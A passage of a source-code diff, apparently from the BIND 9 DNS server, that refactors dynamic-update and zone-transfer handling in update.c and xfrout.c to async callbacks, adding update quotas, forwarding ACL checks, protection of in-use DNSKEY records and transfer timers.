 				if ((rdata.data[1] & ~DNS_NSEC3FLAG_OPTOUT) !=
-				    0) {
+				    0)
+				{
 					update_log(client, zone,
 						   LOGLEVEL_PROTOCOL,
 						   "attempt to add NSEC3PARAM "
@@ -3074,7 +3117,7 @@ update_action(isc_task_t *task, isc_event_t *event) {
 					snprintf(rdstr, sizeof(rdstr),
 						 "[dns_"
 						 "rdata_totext failed: %s]",
-						 dns_result_totext(result));
+						 isc_result_totext(result));
 					len = strlen(rdstr);
 				} else {
 					len = (int)isc_buffer_usedlength(&buf);
@@ -3126,7 +3169,8 @@ update_action(isc_task_t *task, isc_event_t *event) {
 		} else if (update_class == dns_rdataclass_any) {
 			if (rdata.type == dns_rdatatype_any) {
 				if (isc_log_wouldlog(ns_lctx,
-						     LOGLEVEL_PROTOCOL)) {
+						     LOGLEVEL_PROTOCOL))
+				{
 					char namestr[DNS_NAME_FORMATSIZE];
 					dns_name_format(name, namestr,
 							sizeof(namestr));
@@ -3157,7 +3201,8 @@ update_action(isc_task_t *task, isc_event_t *event) {
 				continue;
 			} else {
 				if (isc_log_wouldlog(ns_lctx,
-						     LOGLEVEL_PROTOCOL)) {
+						     LOGLEVEL_PROTOCOL))
+				{
 					char namestr[DNS_NAME_FORMATSIZE];
 					char typestr[DNS_RDATATYPE_FORMATSIZE];
 					dns_name_format(name, namestr,
@@ -3204,6 +3249,27 @@ update_action(isc_task_t *task, isc_event_t *event) {
 						continue;
 					}
 				}
+				/*
+				 * Don't remove DNSKEY, CDNSKEY, CDS records
+				 * that are in use (under our control).
+				 */
+				if (dns_rdatatype_iskeymaterial(rdata.type)) {
+					isc_result_t r;
+					bool inuse = false;
+					r = dns_zone_dnskey_inuse(zone, &rdata,
+								  &inuse);
+					if (r != ISC_R_SUCCESS) {
+						FAIL(r);
+					}
+					if (inuse) {
+						update_log(client, zone,
+							   LOGLEVEL_PROTOCOL,
+							   "attempt to "
+							   "delete in use "
+							   "DNSKEY ignored");
+						continue;
+					}
+				}
 			}
 			dns_name_format(name, namestr, sizeof(namestr));
 			dns_rdatatype_format(rdata.type, typestr,
@@ -3238,7 +3304,7 @@ update_action(isc_task_t *task, isc_event_t *event) {
 			goto failure;
 		}
 	}
-	if (!ISC_LIST_EMPTY(diff.tuples)) {
+	if (!ISC_LIST_EMPTY(diff.tuples) && is_signing) {
 		result = dns_zone_cdscheck(zone, db, ver);
 		if (result == DNS_R_BADCDS || result == DNS_R_BADCDNSKEY) {
 			update_log(client, zone, LOGLEVEL_PROTOCOL,
@@ -3279,30 +3345,14 @@ update_action(isc_task_t *task, isc_event_t *event) {
 		CHECK(rrset_exists(db, ver, zonename, dns_rdatatype_dnskey, 0,
 				   &has_dnskey));
 
-#define ALLOW_SECURE_TO_INSECURE(zone) \
-	((dns_zone_getoptions(zone) & DNS_ZONEOPT_SECURETOINSECURE) != 0)
-
 		CHECK(rrset_exists(db, oldver, zonename, dns_rdatatype_dnskey,
 				   0, &had_dnskey));
-		if (!ALLOW_SECURE_TO_INSECURE(zone)) {
-			if (had_dnskey && !has_dnskey) {
-				update_log(client, zone, LOGLEVEL_PROTOCOL,
-					   "update rejected: all DNSKEY "
-					   "records removed and "
-					   "'dnssec-secure-to-insecure' "
-					   "not set");
-				result = DNS_R_REFUSED;
-				goto failure;
-			}
-		}
 
 		CHECK(rollback_private(db, privatetype, ver, &diff));
 
-		CHECK(add_signing_records(db, privatetype, ver, &diff));
-
 		CHECK(add_nsec3param_records(client, zone, db, ver, &diff));
 
-		if (had_dnskey && !has_dnskey) {
+		if (is_signing && had_dnskey && !has_dnskey) {
 			/*
 			 * We are transitioning from secure to insecure.
 			 * Cause all NSEC3 chains to be deleted.  When the
@@ -3335,10 +3385,7 @@ update_action(isc_task_t *task, isc_event_t *event) {
 			if (result == ISC_R_SUCCESS && records > maxrecords) {
 				update_log(client, zone, ISC_LOG_ERROR,
 					   "records in zone (%" PRIu64 ") "
-					   "exceeds"
-					   " max-"
-					   "records"
-					   " (%u)",
+					   "exceeds max-records (%u)",
 					   records, maxrecords);
 				result = DNS_R_TOOMANYRECORDS;
 				goto failure;
@@ -3382,84 +3429,9 @@ update_action(isc_task_t *task, isc_event_t *event) {
 		dns_zone_markdirty(zone);
 
 		/*
-		 * Notify slaves of the change we just made.
+		 * Notify secondaries of the change we just made.
 		 */
 		dns_zone_notify(zone);
-
-		/*
-		 * Cause the zone to be signed with the key that we
-		 * have just added or have the corresponding signatures
-		 * deleted.
-		 *
-		 * Note: we are already committed to this course of action.
-		 */
-		for (tuple = ISC_LIST_HEAD(diff.tuples); tuple != NULL;
-		     tuple = ISC_LIST_NEXT(tuple, link))
-		{
-			isc_region_t r;
-			dns_secalg_t algorithm;
-			uint16_t keyid;
-
-			if (tuple->rdata.type != dns_rdatatype_dnskey) {
-				continue;
-			}
-
-			dns_rdata_tostruct(&tuple->rdata, &dnskey, NULL);
-			if ((dnskey.flags &
-			     (DNS_KEYFLAG_OWNERMASK | DNS_KEYTYPE_NOAUTH)) !=
-			    DNS_KEYOWNER_ZONE)
-			{
-				continue;
-			}
-
-			dns_rdata_toregion(&tuple->rdata, &r);
-			algorithm = dnskey.algorithm;
-			keyid = dst_region_computeid(&r);
-
-			result = dns_zone_signwithkey(
-				zone, algorithm, keyid,
-				(tuple->op == DNS_DIFFOP_DEL));
-			if (result != ISC_R_SUCCESS) {
-				update_log(client, zone, ISC_LOG_ERROR,
-					   "dns_zone_signwithkey failed: %s",
-					   dns_result_totext(result));
-			}
-		}
-
-		/*
-		 * Cause the zone to add/delete NSEC3 chains for the
-		 * deferred NSEC3PARAM changes.
-		 *
-		 * Note: we are already committed to this course of action.
-		 */
-		for (tuple = ISC_LIST_HEAD(diff.tuples); tuple != NULL;
-		     tuple = ISC_LIST_NEXT(tuple, link))
-		{
-			unsigned char buf[DNS_NSEC3PARAM_BUFFERSIZE];
-			dns_rdata_t rdata = DNS_RDATA_INIT;
-			dns_rdata_nsec3param_t nsec3param;
-
-			if (tuple->rdata.type != privatetype ||
-			    tuple->op != DNS_DIFFOP_ADD) {
-				continue;
-			}
-
-			if (!dns_nsec3param_fromprivate(&tuple->rdata, &rdata,
-							buf, sizeof(buf))) {
-				continue;
-			}
-			dns_rdata_tostruct(&rdata, &nsec3param, NULL);
-			if (nsec3param.flags == 0) {
-				continue;
-			}
-
-			result = dns_zone_addnsec3chain(zone, &nsec3param);
-			if (result != ISC_R_SUCCESS) {
-				update_log(client, zone, ISC_LOG_ERROR,
-					   "dns_zone_addnsec3chain failed: %s",
-					   dns_result_totext(result));
-			}
-		}
 	} else {
 		update_log(client, zone, LOGLEVEL_DEBUG, "redundant request");
 		dns_db_closeversion(db, &ver, true);
@@ -3489,39 +3461,29 @@ update_action(isc_task_t *task, isc_event_t *event) {
 	}
 
 	if (rules != NULL) {
-		isc_mem_put(mctx, rules, sizeof(*rules) * ruleslen);
+		isc_mem_cput(mctx, rules, ruleslen, sizeof(*rules));
 	}
 
 	if (ssutable != NULL) {
 		dns_ssutable_detach(&ssutable);
 	}
 
-	isc_task_detach(&task);
 	uev->result = result;
 	if (zone != NULL) {
 		INSIST(uev->zone == zone); /* we use this later */
 	}
-	uev->ev_type = DNS_EVENT_UPDATEDONE;
-	uev->ev_action = updatedone_action;
-
-	isc_task_send(client->task, &event);
 
+	isc_async_run(client->manager->loop, updatedone_action, uev);
 	INSIST(ver == NULL);
-	INSIST(event == NULL);
 }
 
 static void
-updatedone_action(isc_task_t *task, isc_event_t *event) {
-	update_event_t *uev = (update_event_t *)event;
-	ns_client_t *client = (ns_client_t *)event->ev_arg;
-
-	UNUSED(task);
+updatedone_action(void *arg) {
+	update_t *uev = (update_t *)arg;
+	ns_client_t *client = uev->client;
 
-	REQUIRE(event->ev_type == DNS_EVENT_UPDATEDONE);
-	REQUIRE(task == client->task);
 	REQUIRE(client->updatehandle == client->handle);
 
-	INSIST(client->nupdates > 0);
 	switch (uev->result) {
 	case ISC_R_SUCCESS:
 		inc_stats(client, uev->zone, ns_statscounter_updatedone);
@@ -3533,15 +3495,14 @@ updatedone_action(isc_task_t *task, isc_event_t *event) {
 		inc_stats(client, uev->zone, ns_statscounter_updatefail);
 		break;
 	}
-	if (uev->zone != NULL) {
-		dns_zone_detach(&uev->zone);
-	}
-
-	client->nupdates--;
 
 	respond(client, uev->result);
 
-	isc_event_free(&event);
+	isc_quota_release(&client->manager->sctx->updquota);
+	if (uev->zone != NULL) {
+		dns_zone_detach(&uev->zone);
+	}
+	isc_mem_put(client->manager->mctx, uev, sizeof(*uev));
 	isc_nmhandle_detach(&client->updatehandle);
 }
 
@@ -3549,94 +3510,101 @@ updatedone_action(isc_task_t *task, isc_event_t *event) {
  * Update forwarding support.
  */
 static void
-forward_fail(isc_task_t *task, isc_event_t *event) {
-	ns_client_t *client = (ns_client_t *)event->ev_arg;
-
-	UNUSED(task);
+forward_fail(void *arg) {
+	update_t *uev = (update_t *)arg;
+	ns_client_t *client = uev->client;
 
-	INSIST(client->nupdates > 0);
-	client->nupdates--;
 	respond(client, DNS_R_SERVFAIL);
-	isc_event_free(&event);
+
+	isc_quota_release(&client->manager->sctx->updquota);
+	isc_mem_put(client->manager->mctx, uev, sizeof(*uev));
 	isc_nmhandle_detach(&client->updatehandle);
 }
 
 static void
 forward_callback(void *arg, isc_result_t result, dns_message_t *answer) {
-	update_event_t *uev = arg;
-	ns_client_t *client = uev->ev_arg;
+	update_t *uev = (update_t *)arg;
+	ns_client_t *client = uev->client;
 	dns_zone_t *zone = uev->zone;
 
 	if (result != ISC_R_SUCCESS) {
 		INSIST(answer == NULL);
-		uev->ev_type = DNS_EVENT_UPDATEDONE;
-		uev->ev_action = forward_fail;
 		inc_stats(client, zone, ns_statscounter_updatefwdfail);
+		isc_async_run(client->manager->loop, forward_fail, uev);
 	} else {
-		uev->ev_type = DNS_EVENT_UPDATEDONE;
-		uev->ev_action = forward_done;
 		uev->answer = answer;
 		inc_stats(client, zone, ns_statscounter_updaterespfwd);
+		isc_async_run(client->manager->loop, forward_done, uev);
 	}
 
-	isc_task_send(client->task, ISC_EVENT_PTR(&uev));
 	dns_zone_detach(&zone);
 }
 
 static void
-forward_done(isc_task_t *task, isc_event_t *event) {
-	update_event_t *uev = (update_event_t *)event;
-	ns_client_t *client = (ns_client_t *)event->ev_arg;
-
-	UNUSED(task);
+forward_done(void *arg) {
+	update_t *uev = (update_t *)arg;
+	ns_client_t *client = uev->client;
 
-	INSIST(client->nupdates > 0);
-	client->nupdates--;
 	ns_client_sendraw(client, uev->answer);
 	dns_message_detach(&uev->answer);
-	isc_event_free(&event);
+
+	isc_quota_release(&client->manager->sctx->updquota);
+	isc_mem_put(client->manager->mctx, uev, sizeof(*uev));
+	isc_nmhandle_detach(&client->reqhandle);
 	isc_nmhandle_detach(&client->updatehandle);
 }
 
 static void
-forward_action(isc_task_t *task, isc_event_t *event) {
-	update_event_t *uev = (update_event_t *)event;
+forward_action(void *arg) {
+	update_t *uev = (update_t *)arg;
 	dns_zone_t *zone = uev->zone;
-	ns_client_t *client = (ns_client_t *)event->ev_arg;
+	ns_client_t *client = uev->client;
 	isc_result_t result;
 
 	result = dns_zone_forwardupdate(zone, client->message, forward_callback,
-					event);
+					uev);
 	if (result != ISC_R_SUCCESS) {
-		uev->ev_type = DNS_EVENT_UPDATEDONE;
-		uev->ev_action = forward_fail;
-		isc_task_send(client->task, &event);
+		isc_async_run(client->manager->loop, forward_fail, uev);
 		inc_stats(client, zone, ns_statscounter_updatefwdfail);
 		dns_zone_detach(&zone);
 	} else {
 		inc_stats(client, zone, ns_statscounter_updatereqfwd);
 	}
-
-	isc_task_detach(&task);
 }
 
 static isc_result_t
-send_forward_event(ns_client_t *client, dns_zone_t *zone) {
+send_forward(ns_client_t *client, dns_zone_t *zone) {
+	isc_result_t result = ISC_R_SUCCESS;
 	char namebuf[DNS_NAME_FORMATSIZE];
 	char classbuf[DNS_RDATACLASS_FORMATSIZE];
-	isc_result_t result = ISC_R_SUCCESS;
-	update_event_t *event = NULL;
-	isc_task_t *zonetask = NULL;
+	update_t *uev = NULL;
+
+	result = checkupdateacl(client, dns_zone_getforwardacl(zone),
+				"update forwarding", dns_zone_getorigin(zone),
+				true, false);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
 
-	event = (update_event_t *)isc_event_allocate(
-		client->mctx, client, DNS_EVENT_UPDATE, forward_action, NULL,
-		sizeof(*event));
-	event->zone = zone;
-	event->result = ISC_R_SUCCESS;
+	result = isc_quota_acquire(&client->manager->sctx->updquota);
+	if (result != ISC_R_SUCCESS) {
+		if (result == ISC_R_SOFTQUOTA) {
+			isc_quota_release(&client->manager->sctx->updquota);
+		}
+		update_log(client, zone, LOGLEVEL_PROTOCOL,
+			   "update failed: too many DNS UPDATEs queued (%s)",
+			   isc_result_totext(result));
+		ns_stats_increment(client->manager->sctx->nsstats,
+				   ns_statscounter_updatequota);
+		return (DNS_R_DROP);
+	}
 
-	INSIST(client->nupdates == 0);
-	client->nupdates++;
-	event->ev_arg = client;
+	uev = isc_mem_get(client->manager->mctx, sizeof(*uev));
+	*uev = (update_t){
+		.zone = zone,
+		.client = client,
+		.result = ISC_R_SUCCESS,
+	};
 
 	dns_name_format(dns_zone_getorigin(zone), namebuf, sizeof(namebuf));
 	dns_rdataclass_format(dns_zone_getclass(zone), classbuf,
@@ -3646,12 +3614,8 @@ send_forward_event(ns_client_t *client, dns_zone_t *zone) {
 		      LOGLEVEL_PROTOCOL, "forwarding update for zone '%s/%s'",
 		      namebuf, classbuf);
 
-	dns_zone_gettask(zone, &zonetask);
 	isc_nmhandle_attach(client->handle, &client->updatehandle);
-	isc_task_send(zonetask, ISC_EVENT_PTR(&event));
+	isc_async_run(dns_zone_getloop(zone), forward_action, uev);
 
-	if (event != NULL) {
-		isc_event_free(ISC_EVENT_PTR(&event));
-	}
 	return (result);
 }
diff --git a/lib/ns/xfrout.c b/lib/ns/xfrout.c
index 1b3a5d981b..b83a6dcec1 100644
--- a/lib/ns/xfrout.c
+++ b/lib/ns/xfrout.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,7 +16,8 @@
 
 #include <isc/formatcheck.h>
 #include <isc/mem.h>
-#include <isc/print.h>
+#include <isc/netmgr.h>
+#include <isc/result.h>
 #include <isc/stats.h>
 #include <isc/util.h>
 
@@ -29,7 +32,6 @@
 #include <dns/rdatalist.h>
 #include <dns/rdataset.h>
 #include <dns/rdatasetiter.h>
-#include <dns/result.h>
 #include <dns/rriterator.h>
 #include <dns/soa.h>
 #include <dns/stats.h>
@@ -105,9 +107,9 @@
 
 /**************************************************************************/
 
-static inline void
+static void
 inc_stats(ns_client_t *client, dns_zone_t *zone, isc_statscounter_t counter) {
-	ns_stats_increment(client->sctx->nsstats, counter);
+	ns_stats_increment(client->manager->sctx->nsstats, counter);
 	if (zone != NULL) {
 		isc_stats_t *zonestats = dns_zone_getrequeststats(zone);
 		if (zonestats != NULL) {
@@ -134,7 +136,8 @@ log_rr(dns_name_t *name, dns_rdata_t *rdata, uint32_t ttl) {
 	rdl.rdclass = rdata->rdclass;
 	rdl.ttl = ttl;
 	if (rdata->type == dns_rdatatype_sig ||
-	    rdata->type == dns_rdatatype_rrsig) {
+	    rdata->type == dns_rdatatype_rrsig)
+	{
 		rdl.covers = dns_rdata_covers(rdata);
 	} else {
 		rdl.covers = dns_rdatatype_none;
@@ -143,7 +146,7 @@ log_rr(dns_name_t *name, dns_rdata_t *rdata, uint32_t ttl) {
 	dns_rdata_init(&rd);
 	dns_rdata_clone(rdata, &rd);
 	ISC_LIST_APPEND(rdl.rdata, &rd, link);
-	RUNTIME_CHECK(dns_rdatalist_tordataset(&rdl, &rds) == ISC_R_SUCCESS);
+	dns_rdatalist_tordataset(&rdl, &rds);
 
 	isc_buffer_init(&buf, mem, sizeof(mem));
 	result = dns_rdataset_totext(&rds, name, false, false, &buf);
@@ -646,7 +649,6 @@ typedef struct {
 	dns_zone_t *zone; /* (necessary for stats) */
 	dns_db_t *db;
 	dns_dbversion_t *ver;
-	isc_quota_t *quota;
 	rrstream_t *stream;  /* The XFR RR stream */
 	bool question_added; /* QUESTION section sent? */
 	bool end_of_stream;  /* EOS has been reached */
@@ -666,13 +668,19 @@ typedef struct {
 	const char *mnemonic;	/* Style of transfer */
 	uint32_t end_serial;	/* Serial number after XFR is done */
 	struct xfr_stats stats; /*%< Transfer statistics */
+
+	/* Timeouts */
+	uint64_t maxtime; /*%< Maximum XFR timeout (in ms) */
+	isc_nm_timer_t *maxtime_timer;
+
+	uint64_t idletime; /*%< XFR idle timeout (in ms) */
 } xfrout_ctx_t;
 
 static void
 xfrout_ctx_create(isc_mem_t *mctx, ns_client_t *client, unsigned int id,
 		  dns_name_t *qname, dns_rdatatype_t qtype,
 		  dns_rdataclass_t qclass, dns_zone_t *zone, dns_db_t *db,
-		  dns_dbversion_t *ver, isc_quota_t *quota, rrstream_t *stream,
+		  dns_dbversion_t *ver, rrstream_t *stream,
 		  dns_tsigkey_t *tsigkey, isc_buffer_t *lasttsig,
 		  bool verified_tsig, unsigned int maxtime,
 		  unsigned int idletime, bool many_answers,
@@ -694,7 +702,7 @@ static void
 xfrout_ctx_destroy(xfrout_ctx_t **xfrp);
 
 static void
-xfrout_client_shutdown(void *arg, isc_result_t result);
+xfrout_client_timeout(void *arg, isc_result_t result);
 
 static void
 xfrout_log1(ns_client_t *client, dns_name_t *zonename, dns_rdataclass_t rdclass,
@@ -724,10 +732,9 @@ ns_xfr_start(ns_client_t *client, dns_rdatatype_t reqtype) {
 	dns_rdata_t soa_rdata = DNS_RDATA_INIT;
 	bool have_soa = false;
 	const char *mnemonic = NULL;
-	isc_mem_t *mctx = client->mctx;
+	isc_mem_t *mctx = client->manager->mctx;
 	dns_message_t *request = client->message;
 	xfrout_ctx_t *xfr = NULL;
-	isc_quota_t *quota = NULL;
 	dns_transfer_format_t format = client->view->transfer_format;
 	isc_netaddr_t na;
 	dns_peer_t *peer = NULL;
@@ -749,8 +756,7 @@ ns_xfr_start(ns_client_t *client, dns_rdatatype_t reqtype) {
 		mnemonic = "IXFR";
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	ns_client_log(client, DNS_LOGCATEGORY_XFER_OUT, NS_LOGMODULE_XFER_OUT,
@@ -758,12 +764,12 @@ ns_xfr_start(ns_client_t *client, dns_rdatatype_t reqtype) {
 	/*
 	 * Apply quota.
 	 */
-	result = isc_quota_attach(&client->sctx->xfroutquota, &quota);
+	result = isc_quota_acquire(&client->manager->sctx->xfroutquota);
 	if (result != ISC_R_SUCCESS) {
 		isc_log_write(XFROUT_COMMON_LOGARGS, ISC_LOG_WARNING,
 			      "%s request denied: %s", mnemonic,
 			      isc_result_totext(result));
-		goto failure;
+		goto max_quota;
 	}
 
 	/*
@@ -789,9 +795,8 @@ ns_xfr_start(ns_client_t *client, dns_rdatatype_t reqtype) {
 		FAILC(DNS_R_FORMERR, "multiple questions");
 	}
 
-	result = dns_zt_find(client->view->zonetable, question_name, 0, NULL,
-			     &zone);
-
+	result = dns_view_findzone(client->view, question_name,
+				   DNS_ZTFIND_EXACT, &zone);
 	if (result != ISC_R_SUCCESS || dns_zone_gettype(zone) == dns_zone_dlz) {
 		/*
 		 * The normal zone table does not have a match, or this is
@@ -839,10 +844,10 @@ ns_xfr_start(ns_client_t *client, dns_rdatatype_t reqtype) {
 		/* zone table has a match */
 		switch (dns_zone_gettype(zone)) {
 		/*
-		 * Master, slave, and mirror zones are OK for transfer.
+		 * Primary, secondary, and mirror zones are OK for transfer.
 		 */
-		case dns_zone_master:
-		case dns_zone_slave:
+		case dns_zone_primary:
+		case dns_zone_secondary:
 		case dns_zone_mirror:
 		case dns_zone_dlz:
 			break;
@@ -1021,7 +1026,7 @@ ns_xfr_start(ns_client_t *client, dns_rdatatype_t reqtype) {
 		}
 		if (result == ISC_R_NOTFOUND || result == ISC_R_RANGE) {
 			xfrout_log1(client, question_name, question_class,
-				    ISC_LOG_DEBUG(4),
+				    ISC_LOG_INFO,
 				    "IXFR version not in journal, "
 				    "falling back to AXFR");
 			mnemonic = "AXFR-style IXFR";
@@ -1036,7 +1041,7 @@ ns_xfr_start(ns_client_t *client, dns_rdatatype_t reqtype) {
 				data_stream->methods->destroy(&data_stream);
 				data_stream = NULL;
 				xfrout_log1(client, question_name,
-					    question_class, ISC_LOG_DEBUG(4),
+					    question_class, ISC_LOG_INFO,
 					    "IXFR delta size (%zu bytes) "
 					    "exceeds the maximum ratio to "
 					    "database size "
@@ -1078,7 +1083,7 @@ ns_xfr_start(ns_client_t *client, dns_rdatatype_t reqtype) {
 
 	if (is_dlz) {
 		xfrout_ctx_create(mctx, client, request->id, question_name,
-				  reqtype, question_class, zone, db, ver, quota,
+				  reqtype, question_class, zone, db, ver,
 				  stream, dns_message_gettsigkey(request),
 				  tsigbuf, request->verified_sig, 3600, 3600,
 				  (format == dns_many_answers) ? true : false,
@@ -1086,7 +1091,7 @@ ns_xfr_start(ns_client_t *client, dns_rdatatype_t reqtype) {
 	} else {
 		xfrout_ctx_create(
 			mctx, client, request->id, question_name, reqtype,
-			question_class, zone, db, ver, quota, stream,
+			question_class, zone, db, ver, stream,
 			dns_message_gettsigkey(request), tsigbuf,
 			request->verified_sig, dns_zone_getmaxxfrout(zone),
 			dns_zone_getidleout(zone),
@@ -1096,12 +1101,11 @@ ns_xfr_start(ns_client_t *client, dns_rdatatype_t reqtype) {
 	xfr->end_serial = current_serial;
 	xfr->mnemonic = mnemonic;
 	stream = NULL;
-	quota = NULL;
 
 	CHECK(xfr->stream->methods->first(xfr->stream));
 
 	if (xfr->tsigkey != NULL) {
-		dns_name_format(&xfr->tsigkey->name, keyname, sizeof(keyname));
+		dns_name_format(xfr->tsigkey->name, keyname, sizeof(keyname));
 	} else {
 		keyname[0] = '\0';
 	}
@@ -1127,7 +1131,7 @@ ns_xfr_start(ns_client_t *client, dns_rdatatype_t reqtype) {
 		dns_zone_getraw(zone, &raw);
 		mayberaw = (raw != NULL) ? raw : zone;
 		if ((client->attributes & NS_CLIENTATTR_WANTEXPIRE) != 0 &&
-		    (dns_zone_gettype(mayberaw) == dns_zone_slave ||
+		    (dns_zone_gettype(mayberaw) == dns_zone_secondary ||
 		     dns_zone_gettype(mayberaw) == dns_zone_mirror))
 		{
 			isc_time_t expiretime;
@@ -1144,6 +1148,14 @@ ns_xfr_start(ns_client_t *client, dns_rdatatype_t reqtype) {
 		}
 	}
 
+	/* Start the timers */
+	if (xfr->maxtime > 0) {
+		xfrout_log(xfr, ISC_LOG_DEBUG(1),
+			   "starting maxtime timer %" PRIu64 " ms",
+			   xfr->maxtime);
+		isc_nm_timer_start(xfr->maxtime_timer, xfr->maxtime);
+	}
+
 	/*
 	 * Hand the context over to sendstream().  Set xfr to NULL;
 	 * sendstream() is responsible for either passing the
@@ -1158,9 +1170,6 @@ ns_xfr_start(ns_client_t *client, dns_rdatatype_t reqtype) {
 	if (result == DNS_R_REFUSED) {
 		inc_stats(client, zone, ns_statscounter_xfrrej);
 	}
-	if (quota != NULL) {
-		isc_quota_detach(&quota);
-	}
 	if (current_soa_tuple != NULL) {
 		dns_difftuple_free(&current_soa_tuple);
 	}
@@ -1182,10 +1191,12 @@ ns_xfr_start(ns_client_t *client, dns_rdatatype_t reqtype) {
 	if (zone != NULL) {
 		dns_zone_detach(&zone);
 	}
-	/* XXX kludge */
+
 	if (xfr != NULL) {
 		xfrout_fail(xfr, result, "setting up zone transfer");
 	} else if (result != ISC_R_SUCCESS) {
+		isc_quota_release(&client->manager->sctx->xfroutquota);
+	max_quota:
 		ns_client_log(client, DNS_LOGCATEGORY_XFER_OUT,
 			      NS_LOGMODULE_XFER_OUT, ISC_LOG_DEBUG(3),
 			      "zone transfer setup failed");
@@ -1198,69 +1209,57 @@ static void
 xfrout_ctx_create(isc_mem_t *mctx, ns_client_t *client, unsigned int id,
 		  dns_name_t *qname, dns_rdatatype_t qtype,
 		  dns_rdataclass_t qclass, dns_zone_t *zone, dns_db_t *db,
-		  dns_dbversion_t *ver, isc_quota_t *quota, rrstream_t *stream,
+		  dns_dbversion_t *ver, rrstream_t *stream,
 		  dns_tsigkey_t *tsigkey, isc_buffer_t *lasttsig,
 		  bool verified_tsig, unsigned int maxtime,
 		  unsigned int idletime, bool many_answers,
 		  xfrout_ctx_t **xfrp) {
-	xfrout_ctx_t *xfr;
-	unsigned int len;
-	void *mem;
+	xfrout_ctx_t *xfr = NULL;
+	unsigned int len = NS_CLIENT_TCP_BUFFER_SIZE;
+	void *mem = NULL;
 
 	REQUIRE(xfrp != NULL && *xfrp == NULL);
 
-	UNUSED(maxtime);
-	UNUSED(idletime);
-
 	xfr = isc_mem_get(mctx, sizeof(*xfr));
-	xfr->mctx = NULL;
+	*xfr = (xfrout_ctx_t){
+		.client = client,
+		.id = id,
+		.qname = qname,
+		.qtype = qtype,
+		.qclass = qclass,
+		.maxtime = maxtime * 1000,   /* in milliseconds */
+		.idletime = idletime * 1000, /* In milliseconds */
+		.tsigkey = tsigkey,
+		.lasttsig = lasttsig,
+		.verified_tsig = verified_tsig,
+		.many_answers = many_answers,
+	};
+
 	isc_mem_attach(mctx, &xfr->mctx);
-	xfr->client = client;
-	xfr->id = id;
-	xfr->qname = qname;
-	xfr->qtype = qtype;
-	xfr->qclass = qclass;
-	xfr->zone = NULL;
-	xfr->db = NULL;
-	xfr->ver = NULL;
+
 	if (zone != NULL) { /* zone will be NULL if it's DLZ */
 		dns_zone_attach(zone, &xfr->zone);
 	}
 	dns_db_attach(db, &xfr->db);
 	dns_db_attachversion(db, ver, &xfr->ver);
-	xfr->question_added = false;
-	xfr->end_of_stream = false;
-	xfr->tsigkey = tsigkey;
-	xfr->lasttsig = lasttsig;
-	xfr->verified_tsig = verified_tsig;
-	xfr->many_answers = many_answers;
-	xfr->sends = 0;
-	xfr->shuttingdown = false;
-	xfr->poll = false;
-	xfr->mnemonic = NULL;
-	xfr->buf.base = NULL;
-	xfr->buf.length = 0;
-	xfr->txmem = NULL;
-	xfr->txmemlen = 0;
-	xfr->stream = NULL;
-	xfr->quota = NULL;
-
-	xfr->stats.nmsg = 0;
-	xfr->stats.nrecs = 0;
-	xfr->stats.nbytes = 0;
-	isc_time_now(&xfr->stats.start);
+
+	xfr->stats.start = isc_time_now();
+
+	isc_nm_timer_create(xfr->client->handle, xfrout_client_timeout, xfr,
+			    &xfr->maxtime_timer);
 
 	/*
 	 * Allocate a temporary buffer for the uncompressed response
-	 * message data.  The size should be no more than 65535 bytes
-	 * so that the compressed data will fit in a TCP message,
-	 * and no less than 65535 bytes so that an almost maximum-sized
-	 * RR will fit.  Note that although 65535-byte RRs are allowed
-	 * in principle, they cannot be zone-transferred (at least not
-	 * if uncompressible), because the message and RR headers would
-	 * push the size of the TCP message over the 65536 byte limit.
+	 * message data.  The buffer size must be 65535 bytes
+	 * (NS_CLIENT_TCP_BUFFER_SIZE): small enough that compressed
+	 * data will fit in a single TCP message, and big enough to
+	 * hold a maximum-sized RR.
+	 *
+	 * Note that although 65535-byte RRs are allowed in principle, they
+	 * cannot be zone-transferred (at least not if uncompressible),
+	 * because the message and RR headers would push the size of the
+	 * TCP message over the 65536 byte limit.
 	 */
-	len = 65535;
 	mem = isc_mem_get(mctx, len);
 	isc_buffer_init(&xfr->buf, mem, len);
 
@@ -1268,24 +1267,15 @@ xfrout_ctx_create(isc_mem_t *mctx, ns_client_t *client, unsigned int id,
 	 * Allocate another temporary buffer for the compressed
 	 * response message.
 	 */
-	len = NS_CLIENT_TCP_BUFFER_SIZE;
 	mem = isc_mem_get(mctx, len);
 	isc_buffer_init(&xfr->txbuf, (char *)mem, len);
 	xfr->txmem = mem;
 	xfr->txmemlen = len;
 
-	/*
-	 * Register a shutdown callback with the client, so that we
-	 * can stop the transfer immediately when the client task
-	 * gets a shutdown event.
-	 */
-	xfr->client->shutdown = xfrout_client_shutdown;
-	xfr->client->shutdown_arg = xfr;
 	/*
 	 * These MUST be after the last "goto failure;" / CHECK to
 	 * prevent a double free by the caller.
 	 */
-	xfr->quota = quota;
 	xfr->stream = stream;
 
 	*xfrp = xfr;
@@ -1345,7 +1335,7 @@ sendstream(xfrout_ctx_t *xfr) {
 			msg->flags |= DNS_MESSAGEFLAG_RA;
 		}
 		CHECK(dns_message_settsigkey(msg, xfr->tsigkey));
-		CHECK(dns_message_setquerytsig(msg, xfr->lasttsig));
+		dns_message_setquerytsig(msg, xfr->lasttsig);
 		if (xfr->lasttsig != NULL) {
 			isc_buffer_free(&xfr->lasttsig);
 		}
@@ -1390,18 +1380,12 @@ sendstream(xfrout_ctx_t *xfr) {
 			isc_buffer_add(&xfr->buf, 12 + 4);
 
 			qrdataset = NULL;
-			result = dns_message_gettemprdataset(msg, &qrdataset);
-			if (result != ISC_R_SUCCESS) {
-				goto failure;
-			}
+			dns_message_gettemprdataset(msg, &qrdataset);
 			dns_rdataset_makequestion(qrdataset,
 						  xfr->client->message->rdclass,
 						  xfr->qtype);
 
-			result = dns_message_gettempname(msg, &qname);
-			if (result != ISC_R_SUCCESS) {
-				goto failure;
-			}
+			dns_message_gettempname(msg, &qname);
 			isc_buffer_availableregion(&xfr->buf, &r);
 			INSIST(r.length >= xfr->qname->length);
 			r.length = xfr->qname->length;
@@ -1453,7 +1437,7 @@ sendstream(xfrout_ctx_t *xfr) {
